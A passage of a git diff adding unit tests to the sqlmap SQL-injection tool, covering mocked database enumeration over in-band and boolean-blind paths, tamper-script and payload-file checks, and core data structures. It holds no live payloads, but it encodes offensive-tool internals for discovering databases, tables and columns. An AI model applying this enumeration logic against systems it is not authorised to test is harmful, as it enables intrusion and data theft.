"inband" path or the isInferenceAvailable() blind +path) and asserts on the returned value / kb.data.cached* state. + +CRITICAL: every test restores conf.*, the patched dbmod.inject.getValue, and the +mutated kb.data flags in tearDown so global state does not leak into the rest of +the suite. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, set_dbms, reset_dbms + +bootstrap() + +from lib.core.data import conf, kb +from lib.core.enums import EXPECTED, PAYLOAD +import plugins.generic.databases as dbmod +from plugins.generic.databases import Databases + +# Databases.forceDbmsEnum() is supplied at runtime by the concrete dbms fingerprint +# plugin mixin (plugins/dbms/*/fingerprint.py); a bare Databases() instance lacks it, +# so neutralize it for the duration of these tests. Restored in tearDown via the saved ref. +_NOOP = lambda self: None + + +def _inference_gv(count, sequence): + """Build an inject.getValue stub for blind inference branches. + + Returns `count` (as str) whenever the caller asks for EXPECTED.INT, otherwise + yields the next item from `sequence` wrapped as a single-cell row ([value]), + cycling if exhausted. This mirrors the count-then-per-row contract of every + isInferenceAvailable() branch. + """ + state = {"i": 0} + + def gv(query, *a, **k): + if k.get("expected") == EXPECTED.INT: + return str(count) + val = sequence[state["i"] % len(sequence)] + state["i"] += 1 + return [val] + + return gv + + +class _BaseEnumTest(unittest.TestCase): + """Shared setup/teardown that snapshots and restores all touched global state.""" + + # conf keys every test may read/write + _CONF_KEYS = ("direct", "technique", "db", "tbl", "col", "exclude", + "getComments", "excludeSysDbs", "search", "freshQueries", "threads") + + def setUp(self): + self._saved_conf = {k: conf.get(k) for k in self._CONF_KEYS} + self._saved_getValue = dbmod.inject.getValue + self._saved_injection_data = kb.injection.data + self._saved_has_is = kb.data.get("has_information_schema") + # the inference paths of getTables/getColumns set kb.hintValue as a side effect; + # snapshot it so we never leak a stale hint into other test files (e.g. the + # inference engine's tryHint(), whose setUp does not reset it). + self._saved_hintValue = kb.get("hintValue") + self._saved_forceDbmsEnum = getattr(Databases, "forceDbmsEnum", None) + Databases.forceDbmsEnum = _NOOP + + # sane defaults shared by most tests + conf.getComments = False + conf.excludeSysDbs = False + conf.exclude = None + conf.search = False + conf.freshQueries = False + conf.col = None + kb.data.has_information_schema = True + + def tearDown(self): + for k, v in self._saved_conf.items(): + conf[k] = v + dbmod.inject.getValue = self._saved_getValue + kb.injection.data = self._saved_injection_data + kb.data.has_information_schema = self._saved_has_is + kb.hintValue = self._saved_hintValue + if self._saved_forceDbmsEnum is not None: + Databases.forceDbmsEnum = self._saved_forceDbmsEnum + else: + try: + del Databases.forceDbmsEnum + except AttributeError: + pass + + # helpers ----------------------------------------------------------------- + + def _fresh(self): + """Return a Databases() instance with every cache reset to empty.""" + d = Databases() + kb.data.currentDb = "" + kb.data.cachedDbs = [] + kb.data.cachedTables = {} + kb.data.cachedColumns = {} + kb.data.cachedCounts = {} + kb.data.cachedStatements = [] + kb.data.cachedProcedures = [] + return d + + def _enable_inference(self): + """Take the blind inference branch: conf.direct off, a BOOLEAN technique present.""" + conf.direct = False + conf.technique = None + conf.threads = 1 # exercise the serial getValue() path these tests mock (>1 takes the value-parallel branch) + kb.injection.data = {PAYLOAD.TECHNIQUE.BOOLEAN: {"title": "AND boolean-based blind"}} + + +class TestGetCurrentDb(_BaseEnumTest): + def test_current_db_mysql(self): + set_dbms("MySQL") + conf.direct = True + d = self._fresh() + dbmod.inject.getValue = lambda query, *a, **k: "testdb" + self.assertEqual(d.getCurrentDb(), "testdb") + self.assertEqual(kb.data.currentDb, "testdb") + + def test_current_db_cached(self): + set_dbms("MySQL") + conf.direct = True + d = self._fresh() + kb.data.currentDb = "already" + + def _boom(*a, **k): + raise AssertionError("inject.getValue must not be called when currentDb is cached") + + dbmod.inject.getValue = _boom + self.assertEqual(d.getCurrentDb(), "already") + + def test_current_db_oracle_schema_warning_branch(self): + # Oracle takes the schema-name warning branch; result still returned. + set_dbms("Oracle") + conf.direct = True + d = self._fresh() + dbmod.inject.getValue = lambda query, *a, **k: "SYSTEM" + self.assertEqual(d.getCurrentDb(), "SYSTEM") + + +class TestGetDbs(_BaseEnumTest): + def test_get_dbs_direct_mysql(self): + set_dbms("MySQL") + conf.direct = True + d = self._fresh() + dbmod.inject.getValue = lambda query, *a, **k: [["information_schema"], ["mysql"], ["testdb"]] + result = d.getDbs() + self.assertEqual(sorted(result), ["information_schema", "mysql", "testdb"]) + self.assertIn("testdb", kb.data.cachedDbs) + + def test_get_dbs_cached_short_circuit(self): + set_dbms("MySQL") + conf.direct = True + d = self._fresh() + kb.data.cachedDbs = ["pre", "cached"] + + def _boom(*a, **k): + raise AssertionError("must not query when cachedDbs is populated") + + dbmod.inject.getValue = _boom + self.assertEqual(d.getDbs(), ["pre", "cached"]) + + def test_get_dbs_direct_pgsql_schema_branch(self): + set_dbms("PostgreSQL") + conf.direct = True + d = self._fresh() + dbmod.inject.getValue = lambda query, *a, **k: [["public"], ["information_schema"]] + result = d.getDbs() + self.assertEqual(sorted(result), ["information_schema", "public"]) + + def test_get_dbs_mysql_no_information_schema(self): + # MySQL < 5: query2 / count2 branch; still inband under conf.direct. + set_dbms("MySQL") + conf.direct = True + d = self._fresh() + kb.data.has_information_schema = False + dbmod.inject.getValue = lambda query, *a, **k: [["mysql"], ["app"]] + result = d.getDbs() + self.assertEqual(sorted(result), ["app", "mysql"]) + + def test_get_dbs_inference(self): + set_dbms("MySQL") + self._enable_inference() + d = self._fresh() + + names = ["alpha", "beta", "gamma"] + state = {"i": 0} + + def gv(query, *a, **k): + if k.get("expected") == EXPECTED.INT: + return str(len(names)) + val = names[state["i"]] + state["i"] += 1 + return [val] + + dbmod.inject.getValue = gv + result = d.getDbs() + self.assertEqual(sorted(result), sorted(names)) + + def test_get_dbs_fallback_to_current(self): + # No dbs returned inband -> falls back to current database. + set_dbms("MySQL") + conf.direct = True + d = self._fresh() + state = {"n": 0} + + def gv(query, *a, **k): + state["n"] += 1 + if state["n"] == 1: + return None # getDbs inband: nothing + return "fallbackdb" # getCurrentDb + + dbmod.inject.getValue = gv + result = d.getDbs() + self.assertEqual(result, ["fallbackdb"]) + + +class TestGetTables(_BaseEnumTest): + def test_get_tables_direct_mysql(self): + set_dbms("MySQL") + conf.direct = True + d = self._fresh() + conf.db = "testdb" + conf.tbl = None + dbmod.inject.getValue = lambda query, *a, **k: [["testdb", "users"], ["testdb", "posts"]] + result = d.getTables() + self.assertIn("testdb", result) + self.assertEqual(sorted(result["testdb"]), ["posts", "users"]) + + def test_get_tables_cached_short_circuit(self): + set_dbms("MySQL") + conf.direct = True + d = self._fresh() + kb.data.cachedTables = {"db": ["t1"]} + + def _boom(*a, **k): + raise AssertionError("must not query when cachedTables is populated") + + dbmod.inject.getValue = _boom + self.assertEqual(d.getTables(), {"db": ["t1"]}) + + def test_get_tables_direct_pgsql(self): + set_dbms("PostgreSQL") + conf.direct = True + d = self._fresh() + conf.db = "public" + conf.tbl = None + dbmod.inject.getValue = lambda query, *a, **k: [["public", "accounts"]] + result = d.getTables() + self.assertEqual(result.get("public"), ["accounts"]) + + def test_get_tables_inference(self): + set_dbms("MySQL") + self._enable_inference() + d = self._fresh() + conf.db = "testdb" + conf.tbl = None + + tables = ["t_a", "t_b"] + state = {"i": 0} + + def gv(query, *a, **k): + if k.get("expected") == EXPECTED.INT: + return str(len(tables)) + val = tables[state["i"] % len(tables)] + state["i"] += 1 + return [val] + + dbmod.inject.getValue = gv + result = d.getTables() + self.assertIn("testdb", result) + self.assertEqual(sorted(result["testdb"]), sorted(tables)) + + +class TestGetColumns(_BaseEnumTest): + def _run_direct(self, dbms, db, tbl, rows): + set_dbms(dbms) + conf.direct = True + d = self._fresh() + conf.db = db + conf.tbl = tbl + dbmod.inject.getValue = lambda query, *a, **k: rows + return d.getColumns() + + def test_columns_direct_mysql(self): + result = self._run_direct("MySQL", "testdb", "users", [["id", "int"], ["age", "int"]]) + self.assertIn("testdb", result) + cols = result["testdb"]["users"] + self.assertEqual(cols.get("id"), "int") + self.assertEqual(cols.get("age"), "int") + + def test_columns_direct_pgsql(self): + result = self._run_direct("PostgreSQL", "public", "users", [["id", "integer"]]) + self.assertEqual(result["public"]["users"].get("id"), "integer") + + def test_columns_direct_oracle_uppercase(self): + # Oracle is an UPPER_CASE dbms: conf.db/tbl get upcased internally. + result = self._run_direct("Oracle", "system", "users", [["ID", "NUMBER"]]) + # Oracle quotes the identifier ("SYSTEM"); assert the column landed regardless. + flat = {} + for tables in result.values(): + for cols in tables.values(): + flat.update(cols) + self.assertEqual(flat.get("ID"), "NUMBER") + + def test_columns_direct_mssql(self): + result = self._run_direct("Microsoft SQL Server", "master", "users", [["id", "int"]]) + # MSSQL wraps the db identifier in [brackets]; assert the column landed. + flat = {} + for tables in result.values(): + for cols in tables.values(): + flat.update(cols) + self.assertEqual(flat.get("id"), "int") + + def test_columns_only_names(self): + # onlyColNames is ONLY read in the inference branch (the INBAND path + # ignores it), so drive the blind inference path like + # test_columns_inference_mysql but with onlyColNames=True. The flag must + # SUPPRESS the type lookup: each column's value lands as None instead of + # the real type. Asserting cols.get("id") is None proves the flag took + # effect (otherwise the type query would run and return "int"). + set_dbms("MySQL") + self._enable_inference() + d = self._fresh() + conf.db = "testdb" + conf.tbl = "users" + + colnames = ["id", "name"] + state = {"i": 0} + type_queries = {"n": 0} + + def gv(query, *a, **k): + if k.get("expected") == EXPECTED.INT: + return str(len(colnames)) + # With onlyColNames the second-stage type query (blind.query2, which + # selects column_type) must NEVER be issued. + if "column_type" in query.lower(): + type_queries["n"] += 1 + return ["int"] + val = colnames[state["i"] % len(colnames)] + state["i"] += 1 + return [val] + + dbmod.inject.getValue = gv + result = d.getColumns(onlyColNames=True) + cols = result["testdb"]["users"] + # both column names enumerated... + self.assertEqual(len(cols), len(colnames)) + self.assertIn("id", cols) + # ...but their types were suppressed (None), and no type query ran. + self.assertIsNone(cols.get("id")) + self.assertEqual(type_queries["n"], 0) + + def test_columns_inference_mysql(self): + set_dbms("MySQL") + self._enable_inference() + d = self._fresh() + conf.db = "testdb" + conf.tbl = "users" + + colnames = ["id", "name"] + state = {"i": 0, "names": True} + + def gv(query, *a, **k): + if k.get("expected") == EXPECTED.INT: + return str(len(colnames)) + # alternate: column name then its type + if state["names"]: + val = colnames[state["i"] % len(colnames)] + state["i"] += 1 + state["names"] = False + return [val] + else: + state["names"] = True + return ["int"] + + dbmod.inject.getValue = gv + result = d.getColumns() + self.assertIn("testdb", result) + cols = result["testdb"]["users"] + # both columns enumerated (reserved words like "name" get quoted, so count, not exact keys) + self.assertEqual(len(cols), len(colnames)) + self.assertEqual(cols.get("id"), "int") + + +class TestGetCount(_BaseEnumTest): + def test_count_single_table_mysql(self): + set_dbms("MySQL") + conf.direct = True + d = self._fresh() + conf.db = "testdb" + conf.tbl = "users" + dbmod.inject.getValue = lambda query, *a, **k: "42" + result = d.getCount() + self.assertEqual(result, {"testdb": {42: ["users"]}}) + + def test_count_dotted_table_splits_db(self): + set_dbms("MySQL") + conf.direct = True + d = self._fresh() + conf.db = None + conf.tbl = "shop.orders" + dbmod.inject.getValue = lambda query, *a, **k: "7" + result = d.getCount() + self.assertEqual(result, {"shop": {7: ["orders"]}}) + + def test_count_multiple_tables(self): + set_dbms("MySQL") + conf.direct = True + d = self._fresh() + conf.db = "testdb" + conf.tbl = "users,posts" + counts = {"users": "3", "posts": "5"} + + def gv(query, *a, **k): + # the table name appears in the FROM clause of the generated query + for t, c in counts.items(): + if t in query: + return c + return "0" + + dbmod.inject.getValue = gv + result = d.getCount() + self.assertIn("testdb", result) + self.assertIn("users", result["testdb"][3]) + self.assertIn("posts", result["testdb"][5]) + + +class TestGetStatements(_BaseEnumTest): + def test_statements_direct_mysql(self): + set_dbms("MySQL") + conf.direct = True + d = self._fresh() + dbmod.inject.getValue = lambda query, *a, **k: [["SELECT 1"], ["SELECT 2"]] + result = d.getStatements() + self.assertEqual(sorted(result), ["SELECT 1", "SELECT 2"]) + + def test_statements_direct_pgsql(self): + set_dbms("PostgreSQL") + conf.direct = True + d = self._fresh() + dbmod.inject.getValue = lambda query, *a, **k: [["SELECT now()"]] + result = d.getStatements() + self.assertEqual(result, ["SELECT now()"]) + + def test_statements_inference(self): + set_dbms("PostgreSQL") + self._enable_inference() + d = self._fresh() + stmts = ["SELECT a", "SELECT b"] + state = {"i": 0} + + def gv(query, *a, **k): + if k.get("expected") == EXPECTED.INT: + return str(len(stmts)) + val = stmts[state["i"] % len(stmts)] + state["i"] += 1 + return [val] + + dbmod.inject.getValue = gv + result = d.getStatements() + self.assertEqual(sorted(result), sorted(stmts)) + + +class TestGetSchema(_BaseEnumTest): + def test_schema_mysql(self): + set_dbms("MySQL") + conf.direct = True + d = self._fresh() + conf.db = "testdb" + conf.tbl = None + conf.col = None + state = {"n": 0} + + def gv(query, *a, **k): + state["n"] += 1 + if state["n"] == 1: + # getTables call + return [["testdb", "users"]] + # getColumns call + return [["id", "int"]] + + dbmod.inject.getValue = gv + result = d.getSchema() + self.assertIn("testdb", result) + self.assertIn("users", result["testdb"]) + self.assertEqual(result["testdb"]["users"].get("id"), "int") + + +class TestGetProcedures(_BaseEnumTest): + def test_procedures_direct_pgsql(self): + set_dbms("PostgreSQL") + conf.direct = True + d = self._fresh() + dbmod.inject.getValue = lambda query, *a, **k: [["proc_a"], ["proc_b"]] + result = d.getProcedures() + self.assertEqual(sorted(result), ["proc_a", "proc_b"]) + + def test_procedures_inference_mysql(self): + set_dbms("MySQL") + self._enable_inference() + d = self._fresh() + procs = ["sp_one", "sp_two"] + state = {"i": 0} + + def gv(query, *a, **k): + if k.get("expected") == EXPECTED.INT: + return str(len(procs)) + val = procs[state["i"] % len(procs)] + state["i"] += 1 + return [val] + + dbmod.inject.getValue = gv + result = d.getProcedures() + self.assertEqual(sorted(result), sorted(procs)) + + +# --------------------------------------------------------------------------- # +# Inference / brute-force branches (relocated from test_generic_enum_more.py) +# --------------------------------------------------------------------------- # + +class _DbBase(unittest.TestCase): + _CONF_KEYS = ("direct", "technique", "db", "tbl", "col", "exclude", + "getComments", "excludeSysDbs", "search", "freshQueries", "threads") + + def setUp(self): + self._saved_conf = {k: conf.get(k) for k in self._CONF_KEYS} + self._saved_getValue = dbmod.inject.getValue + self._saved_checkBool = dbmod.inject.checkBooleanExpression + self._saved_injection_data = kb.injection.data + self._saved_has_is = kb.data.get("has_information_schema") + self._saved_hintValue = kb.get("hintValue") + self._saved_choices = dict(kb.choices) + self._saved_readInput = dbmod.readInput + self._saved_forceDbmsEnum = getattr(Databases, "forceDbmsEnum", None) + Databases.forceDbmsEnum = _NOOP + + conf.getComments = False + conf.excludeSysDbs = False + conf.exclude = None + conf.search = False + conf.freshQueries = False + conf.col = None + kb.data.has_information_schema = True + + def tearDown(self): + for k, v in self._saved_conf.items(): + conf[k] = v + dbmod.inject.getValue = self._saved_getValue + dbmod.inject.checkBooleanExpression = self._saved_checkBool + dbmod.readInput = self._saved_readInput + kb.injection.data = self._saved_injection_data + kb.data.has_information_schema = self._saved_has_is + kb.hintValue = self._saved_hintValue + kb.choices.clear() + kb.choices.update(self._saved_choices) + if self._saved_forceDbmsEnum is not None: + Databases.forceDbmsEnum = self._saved_forceDbmsEnum + else: + try: + del Databases.forceDbmsEnum + except AttributeError: + pass + + def _fresh(self): + d = Databases() + kb.data.currentDb = "" + kb.data.cachedDbs = [] + kb.data.cachedTables = {} + kb.data.cachedColumns = {} + kb.data.cachedCounts = {} + kb.data.cachedStatements = [] + kb.data.cachedProcedures = [] + return d + + def _inference(self): + conf.direct = False + conf.technique = None + conf.threads = 1 # exercise the serial getValue() path these tests mock (>1 takes the value-parallel branch) + kb.injection.data = {PAYLOAD.TECHNIQUE.BOOLEAN: {"title": "AND boolean-based blind"}} + + +class TestDatabasesInference(_DbBase): + def test_get_columns_inference_pgsql_types(self): + # Blind column enumeration on PostgreSQL: a count, then for each index a + # column name followed by its type. Assert the {db:{tbl:{col:type}}} parse. + set_dbms("PostgreSQL") + self._inference() + d = self._fresh() + conf.db = "public" + conf.tbl = "users" + + names = ["id", "email"] + state = {"i": 0, "name": True} + + def gv(query, *a, **k): + if k.get("expected") == EXPECTED.INT: + return str(len(names)) + if state["name"]: + val = names[state["i"] % len(names)] + state["i"] += 1 + state["name"] = False + return [val] + state["name"] = True + return ["integer"] + + dbmod.inject.getValue = gv + result = d.getColumns() + cols = result["public"]["users"] + self.assertEqual(len(cols), 2) + self.assertEqual(cols.get("id"), "integer") + + def test_get_columns_inference_dump_mode_collist(self): + # dumpMode with an explicit conf.col list: in the inference branch the + # columns are taken straight from colList (no count/type queries at all) + # and stored with value None. Asserting no getValue ran proves the + # dump-mode shortcut, not a network round-trip. + set_dbms("MySQL") + self._inference() + d = self._fresh() + conf.db = "testdb" + conf.tbl = "users" + conf.col = "id,name" + + def boom(*a, **k): + raise AssertionError("dumpMode+colList must not query in inference branch") + + dbmod.inject.getValue = boom + result = d.getColumns(dumpMode=True) + cols = result["testdb"]["users"] + # "name" is a reserved word -> safeSQLIdentificatorNaming backtick-quotes it; + # both columns must be present (count, since exact key varies by quoting). + self.assertEqual(len(cols), 2) + self.assertIn("id", cols) + self.assertIsNone(cols.get("id")) + + def test_get_count_over_cached_tables_inference(self): + # getCount with no conf.tbl: it calls getTables() then per-table _tableGetCount. + # Drive the inband table fetch + per-table count and assert the + # {db:{count:[tables]}} grouping (tables sharing a count are grouped). + set_dbms("MySQL") + conf.direct = True + d = self._fresh() + conf.db = "testdb" + conf.tbl = None + kb.data.cachedTables = {"testdb": ["users", "posts"]} + + counts = {"users": "5", "posts": "5"} + + def gv(query, *a, **k): + for t, c in counts.items(): + if t in query: + return c + return "0" + + dbmod.inject.getValue = gv + result = d.getCount() + # both tables have count 5 -> grouped under the same key + self.assertEqual(sorted(result["testdb"][5]), ["posts", "users"]) + + def test_get_statements_count_zero_returns_empty(self): + # Inference path: a zero count short-circuits to the (empty) cache. + set_dbms("PostgreSQL") + self._inference() + d = self._fresh() + # getStatements compares the count with the int literal 0 (count == 0), so + # the count stub must return an int 0 (not "0") to take the empty branch. + dbmod.inject.getValue = lambda query, *a, **k: 0 if k.get("expected") == EXPECTED.INT else self.fail("must not fetch rows when count is 0") + result = d.getStatements() + self.assertEqual(result, []) + + def test_get_procedures_inference(self): + set_dbms("PostgreSQL") + self._inference() + d = self._fresh() + dbmod.inject.getValue = _inference_gv(2, ["sp_a", "sp_b"]) + result = d.getProcedures() + self.assertEqual(sorted(result), ["sp_a", "sp_b"]) + + def test_get_dbs_mssql_inband_paging(self): + # MSSQL with no rows from the primary query falls into the query2 paging + # loop (one indexed query per db until a blank value stops it). + set_dbms("Microsoft SQL Server") + conf.direct = True + d = self._fresh() + dbs = ["master", "model"] + + def gv(query, *a, **k): + # The primary inband query is 'SELECT name FROM master..sysdatabases' + # (no DB_NAME); make it return nothing so getDbs falls into the + # 'SELECT DB_NAME()' paging loop (query2). + if "DB_NAME" not in query: + return None + import re as _re + idx = int(_re.findall(r"DB_NAME\((\d+)\)", query)[0]) + return dbs[idx] if idx < len(dbs) else "" + + dbmod.inject.getValue = gv + result = d.getDbs() + self.assertEqual(sorted(result), ["master", "model"]) + + def test_get_tables_inference_grouped_per_db(self): + # Blind table enumeration: count for the db, then one table name per index. + set_dbms("MySQL") + self._inference() + d = self._fresh() + conf.db = "shop" + conf.tbl = None + dbmod.inject.getValue = _inference_gv(2, ["orders", "items"]) + result = d.getTables() + self.assertIn("shop", result) + self.assertEqual(sorted(result["shop"]), ["items", "orders"]) + + +class TestDatabasesBruteForce(_DbBase): + def test_get_columns_mysql_lt5_bruteforce_decline(self): + # MySQL < 5 (no information_schema) forces bruteForce in getColumns; with + # the common-column-existence prompt answered 'N' it returns None without + # issuing any column query. + set_dbms("MySQL") + conf.direct = True + d = self._fresh() + conf.db = "testdb" + conf.tbl = "users" + kb.data.has_information_schema = False + kb.choices.columnExists = None + dbmod.readInput = lambda *a, **k: "N" + + def boom(*a, **k): + raise AssertionError("bruteForce decline must not query columns") + + dbmod.inject.getValue = boom + result = d.getColumns() + self.assertIsNone(result) + + def test_get_columns_bruteforce_dumpmode_collist_on_decline(self): + # bruteForce + decline + dumpMode + colList: the columns from colList are + # stored with None type (the dump-mode salvage branch), not dropped. + set_dbms("MySQL") + conf.direct = True + d = self._fresh() + conf.db = "testdb" + conf.tbl = "users" + conf.col = "a,b" + kb.data.has_information_schema = False + kb.choices.columnExists = None + dbmod.readInput = lambda *a, **k: "N" + dbmod.inject.getValue = lambda *a, **k: None + result = d.getColumns(dumpMode=True) + cols = result["testdb"]["users"] + self.assertEqual(sorted(cols.keys()), ["a", "b"]) + self.assertIsNone(cols.get("a")) + + +if __name__ == "__main__": + unittest.main() + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_datafiles.py b/tests/test_datafiles.py new file mode 100644 index 00000000000..f8dbcabe92d --- /dev/null +++ b/tests/test_datafiles.py @@ -0,0 +1,128 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Repo / data-file invariants - the cheap structural guards that catch whole +bug classes seen this session: tamper contract, per-DBMS query-tag coverage, +errors.xml regex compilation, XML well-formedness, and source ASCII-safety +(the py2 'no coding header' constraint). +""" + +import os +import re +import sys +import glob +import importlib +import unittest +import xml.etree.ElementTree as ET + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, ROOT +bootstrap() + + +class TestTamperContract(unittest.TestCase): + def test_every_tamper_has_contract(self): + names = [os.path.basename(f)[:-3] for f in glob.glob(os.path.join(ROOT, "tamper", "*.py")) + if not f.endswith("__init__.py")] + self.assertGreater(len(names), 50) # sanity: we expect ~70 + for name in names: + mod = importlib.import_module("tamper.%s" % name) + self.assertTrue(callable(getattr(mod, "tamper", None)), msg="%s: no tamper()" % name) + self.assertTrue(hasattr(mod, "__priority__"), msg="%s: no __priority__" % name) + # dependencies() is OPTIONAL (e.g. randomcomments omits it); if present it must be callable + dep = getattr(mod, "dependencies", None) + self.assertTrue(dep is None or callable(dep), msg="%s: non-callable dependencies" % name) + + def test_every_tamper_priority_is_valid(self): + # __priority__ must be one of the PRIORITY enum values (or None) - a typo'd priority + # silently mis-orders the tamper chain (_setTamperingFunctions sorts on it) + from lib.core.enums import PRIORITY + valid = set(v for n, v in vars(PRIORITY).items() if not n.startswith("_")) + names = [os.path.basename(f)[:-3] for f in glob.glob(os.path.join(ROOT, "tamper", "*.py")) + if not f.endswith("__init__.py")] + for name in names: + mod = importlib.import_module("tamper.%s" % name) + priority = getattr(mod, "__priority__", None) + self.assertTrue(priority is None or priority in valid, + msg="%s: __priority__ %r is not a PRIORITY value" % (name, priority)) + + +class TestQueriesXmlCoverage(unittest.TestCase): + CORE_TAGS = ("cast", "substring", "length", "count", "inference", "comment") + + def test_every_dbms_has_core_tags(self): + tree = ET.parse(os.path.join(ROOT, "data", "xml", "queries.xml")) + dbmses = tree.findall(".//dbms") + self.assertGreaterEqual(len(dbmses), 25) + for dbms in dbmses: + present = set(child.tag for child in dbms.iter()) + missing = [t for t in self.CORE_TAGS if t not in present] + self.assertEqual(missing, [], msg="%s missing core tags: %s" % (dbms.get("value"), missing)) + + +class TestErrorsXmlCompile(unittest.TestCase): + def test_all_error_regexes_compile(self): + tree = ET.parse(os.path.join(ROOT, "data", "xml", "errors.xml")) + regexes = [e.get("regexp") for e in tree.findall(".//error")] + self.assertGreater(len(regexes), 100) + for rgx in regexes: + try: + re.compile(rgx) + except re.error as ex: + self.fail("errors.xml regex does not compile: %r (%s)" % (rgx, ex)) + + +class TestXmlWellFormed(unittest.TestCase): + def test_core_xml_parses(self): + for rel in ("queries.xml", "boundaries.xml", "errors.xml", + os.path.join("payloads", "boolean_blind.xml"), + os.path.join("payloads", "union_query.xml")): + path = os.path.join(ROOT, "data", "xml", rel) + ET.parse(path) # raises on malformed + + def test_banner_xml_parses(self): + for path in glob.glob(os.path.join(ROOT, "data", "xml", "banner", "*.xml")): + ET.parse(path) # raises on malformed + + +class TestSourceAsciiSafety(unittest.TestCase): + # sqlmap source files carry NO coding header, so any non-ASCII byte breaks py2 parsing. + # This guards the exact regression introduced (and fixed) earlier this session. + CODING_RE = re.compile(b"coding[:=]\\s*([-\\w.]+)") + + def test_lib_and_plugins_are_ascii(self): + offenders = [] + for base in ("lib", "plugins"): + for path in glob.glob(os.path.join(ROOT, base, "**", "*.py"), recursive=True) if sys.version_info >= (3, 5) \ + else self._walk(os.path.join(ROOT, base)): + with open(path, "rb") as f: + head = f.read(256) + data = head + f.read() + if self.CODING_RE.search(head): # explicit coding header -> non-ASCII allowed + continue + try: + data.decode("ascii") + except UnicodeDecodeError: + offenders.append(os.path.relpath(path, ROOT)) + self.assertEqual(offenders, [], msg="non-ASCII source w/o coding header (breaks py2): %s" % offenders) + + @staticmethod + def _walk(top): + for dirpath, _, files in os.walk(top): + for fn in files: + if fn.endswith(".py"): + yield os.path.join(dirpath, fn) + + +class TestSettingsIntegrity(unittest.TestCase): + def test_milestone_and_version(self): + from lib.core.settings import HASHDB_MILESTONE_VALUE, VERSION + self.assertTrue(HASHDB_MILESTONE_VALUE) + self.assertTrue(re.match(r"^\d+\.\d+\.\d+", VERSION), msg="unexpected VERSION %r" % VERSION) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_datatypes.py b/tests/test_datatypes.py new file mode 100644 index 00000000000..0bdb18a0059 --- /dev/null +++ b/tests/test_datatypes.py @@ -0,0 +1,96 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Core data structures: AttribDict, OrderedSet, LRUDict, BigArray. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.datatype import AttribDict, OrderedSet, LRUDict +from lib.core.bigarray import BigArray + + +class TestAttribDict(unittest.TestCase): + def test_attr_access(self): + a = AttribDict({"x": 1}) + self.assertEqual(a.x, 1) + a.y = 2 + self.assertEqual(a["y"], 2) + self.assertEqual(a.get("missing", "def"), "def") + + def test_missing_attr_raises(self): + a = AttribDict() + self.assertRaises(AttributeError, lambda: a.nope) + + +class TestOrderedSet(unittest.TestCase): + def test_order_and_dedup(self): + s = OrderedSet() + for v in [3, 1, 3, 2, 1, 2]: + s.add(v) + self.assertEqual(list(s), [3, 1, 2]) + self.assertIn(2, s) + self.assertNotIn(9, s) + self.assertEqual(len(s), 3) + + +class TestLRUDict(unittest.TestCase): + def test_capacity_eviction(self): + l = LRUDict(capacity=2) + l["a"] = 1 + l["b"] = 2 + _ = l["a"] # touch 'a' so 'b' becomes least-recently-used + l["c"] = 3 # evicts 'b' + self.assertEqual(sorted(l.keys()), ["a", "c"]) + self.assertNotIn("b", l) + + def test_values_retained(self): + l = LRUDict(capacity=3) + for i, k in enumerate("abc"): + l[k] = i + self.assertEqual(l["a"], 0) + self.assertEqual(l["c"], 2) + + def test_capacity_one(self): + # extreme: each write evicts the previous key + l = LRUDict(capacity=1) + l["x"] = 1 + l["y"] = 2 + self.assertNotIn("x", l) + self.assertEqual(l["y"], 2) + self.assertEqual(list(l.keys()), ["y"]) + + +class TestBigArray(unittest.TestCase): + def test_basic_ops(self): + b = BigArray() + for i in range(50): + b.append(i) + self.assertEqual(len(b), 50) + self.assertEqual(b[0], 0) + self.assertEqual(b[49], 49) + self.assertEqual(b[-1], 49) # negative indexing + self.assertEqual(list(b)[:3], [0, 1, 2]) + + def test_empty_index_raises(self): + self.assertRaises(IndexError, lambda: BigArray()[0]) + + def test_roundtrip_values(self): + b = BigArray() + data = list(range(100)) + for v in data: + b.append(v) + self.assertEqual([b[i] for i in range(len(b))], data) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_dbms_enum.py b/tests/test_dbms_enum.py new file mode 100644 index 00000000000..97325506378 --- /dev/null +++ b/tests/test_dbms_enum.py @@ -0,0 +1,726 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +DBMS-specific enumeration overrides (plugins/dbms//enumeration.py), +driven through each full DBMS handler with the injection layer mocked, so the +dialect-specific table/column/user/privilege discovery paths run without a live +target, network, or DBMS. The in-band (UNION/error/direct) branch is taken via +conf.direct=True and inject.getValue is stubbed with canned result rows; +conf.batch=True avoids interactive prompts. + +Consolidated from former tests/test_dbms_enum.py (Microsoft SQL Server), +tests/test_dbms_enum_a.py (Oracle/PostgreSQL/MySQL/SQLite) and +tests/test_dbms_enum_b.py (Sybase/MaxDB/MSSQL extra/DB2/Informix/Firebird/HSQLDB). + +stdlib unittest only (no pytest / no pip); works on Python 2.7 and 3.x. +""" + +import importlib +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, set_dbms, reset_dbms +bootstrap() + +from lib.core.common import Backend +from lib.core.data import conf, kb +from lib.core.enums import EXPECTED +from lib.core.exception import SqlmapUnsupportedFeatureException +from lib.request import inject + + +# --------------------------------------------------------------------------- +# Base for Microsoft SQL Server getTables (former test_dbms_enum.py) +# --------------------------------------------------------------------------- + +class _EnumBaseMSSQL(unittest.TestCase): + """Snapshot/restore the global state these enumerators mutate.""" + module = None # the enumeration module whose inject.getValue we patch + + def setUp(self): + self._direct = conf.direct + self._db = conf.db + self._gv = self.module.inject.getValue + self._cachedTables = kb.data.get("cachedTables") + self._cachedColumns = kb.data.get("cachedColumns") + conf.direct = True + kb.data.cachedTables = {} + kb.data.cachedColumns = {} + + def tearDown(self): + conf.direct = 